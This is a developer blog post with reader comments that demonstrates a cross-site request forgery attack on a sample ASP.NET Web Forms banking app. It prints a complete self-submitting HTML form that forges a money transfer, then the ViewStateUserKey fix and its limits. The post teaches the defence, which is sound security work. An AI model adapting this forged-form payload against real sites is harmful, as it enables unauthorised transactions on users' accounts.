CSRF Attacks and Web Forms

In my last blog post, I walked step by step through a Cross-site request forgery (CSRF) attack against an ASP.NET MVC web application. This attack is the result of how browsers handle cookies and cross domain form posts and is not specific to any one web platform. Many web platforms thus include their own mitigations to the problem.

It might seem that if you’re using Web Forms, you’re automatically safe from this attack. While Web Forms has many mitigations turned on by default, it turns out that it does not automatically protect your site against this specific form of attack.

In the same sample bank transfer application I provided in the last post, I also included an example written using Web Forms which demonstrates the CSRF attack. After you log in to the site, you can navigate to /BankWebForm/default.aspx to try out the Web Form version of the transfer money page. it works just like the MVC version.

To simulate the attack, make sure you are running the sample application locally and make sure you are logged in and then click on http://haacked.com/demos/csrf-webform.html.

Here’s the code for that page:

<html xmlns="http://www.w3.org/1999/xhtml" >
<head>
    <title></title>
</head>
<body>
  <form name="badform" method="post"
    action="http://localhost:54607/BankWebForm/Default.aspx">
    <input type="hidden" name="ctl00$MainContent$amountTextBox"
      value="1000" />
    <input type="hidden" name="ctl00$MainContent$destinationAccountDropDown"
      value="2" />
    <input type="hidden" name="ctl00$MainContent$submitButton"
      value="Transfer" />
    <input type="hidden" name="__EVENTTARGET" id="__EVENTTARGET"
      value="" />
    <input type="hidden" name="__EVENTARGUMENT" id="__EVENTARGUMENT"
      value="" />
    <input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE"
      value="/wEP...0ws8kIw=" />
    <input type="hidden" name="__EVENTVALIDATION" id="__EVENTVALIDATION"
      value="/wEWBwK...+FaB85Nc" />
    </form>
    <script type="text/javascript">
        document.badform.submit();
    </script>
</body>
</html>

It’s a bit more involved, but it does the trick. It mocks up all the proper hidden fields required to execute a bank transfer on my silly demo site.

The mitigation for this attack is pretty simple and described thoroughly in this this article by Dino Esposito as well as this post by Scott Hanselman. The change I made to my code behind based on Dino’s recommendation is the following:

protected override void OnInit(EventArgs e) {
  ViewStateUserKey = Session.SessionID;
  base.OnInit(e);
}

With this change in place, the CSRF attack I put in place no longer works.

When you go to a real bank site, you’ll learn they have all sorts of protections in place above and beyond what I described here. Hopefully this post and the previous one provided some insight into why they do all the things they do. :)

Technorati Tags: ,

What others have said

Requesting Gravatar... Erik Apr 02, 2009 1:51 PM
# re: CSRF Attacks and Web Forms
Excellent article, as usual - and very timely for me - thanks! =)
Requesting Gravatar... Alex Apr 02, 2009 4:11 PM
# re: CSRF Attacks and Web Forms
ViewStateUserKey doesn't always prevent CSRF in ASP.NET Web Forms - I wrote a blog post about the mechanism and when it doesn't apply:

keepitlocked.net/.../...-site-request-forgery.aspx

The two exceptions are:

1) If you aren't using the POSTBACK mechanism

2) If you disable ViewStateMac (or ViewState entirely)

Good series of posts, though, and I'm glad ASP.NET MVC builds in CSRF protection.
Requesting Gravatar... Jack Apr 02, 2009 5:45 PM
# re: CSRF Attacks and Web Forms
Quite impressive, thanks for sharing
Requesting Gravatar... haacked Apr 02, 2009 6:58 PM
# re: CSRF Attacks and Web Forms
@Alex yeah, I read your post and forgot to link to it. Keep in mind that my point was that out of the box, ViewStateUserKey works. In your case, you'd have to disable ViewStateMac and not use PostBack.

In the code I wrote, we rely on a button click event which relies on post back.
Requesting Gravatar... Thanigainathan.S Apr 02, 2009 10:10 PM
# re: CSRF Attacks and Web Forms
Hi,

This is nice article . What i am wondering is about the ASp.Net Viewstate validation. Will that be not working considering this situation ?

Thanks,
Thani
Requesting Gravatar... Aaron Lewis Apr 03, 2009 12:21 PM
# re: CSRF Attacks and Web Forms
Is that snip something that would be appropriate to put in an HTTPModule?
Requesting Gravatar... Johnny Apr 03, 2009 2:23 PM
# re: CSRF Attacks and Web Forms
Doesn't this still assume that the user trusts their browser? For example, if the ViewStateUserKey can be obtained from the viewstate, the hacker can proceed with the described forgery attack yes?
Requesting Gravatar... haacked Apr 03, 2009 9:05 PM
# re: CSRF Attacks and Web Forms
@Johnny, yes, all the CSRF mitigations assume the browser is trustworthy. If a bad guy compromises your browser, it's not much different than if a bad guy compromises your OS. Then all bets are off.
Requesting Gravatar... Paul Irwin Apr 07, 2009 6:22 AM
# re: CSRF Attacks and Web Forms
Everyone always overlooks the MasterPage scenario...

To do this in your master page, so you don't have to do it on each page, set the Init event to contain this slightly different line instead:

Page.ViewStateUserKey = Session.SessionID

What do you have to say?

(will show your gravatar)
Please add 5 and 3 and type the answer here: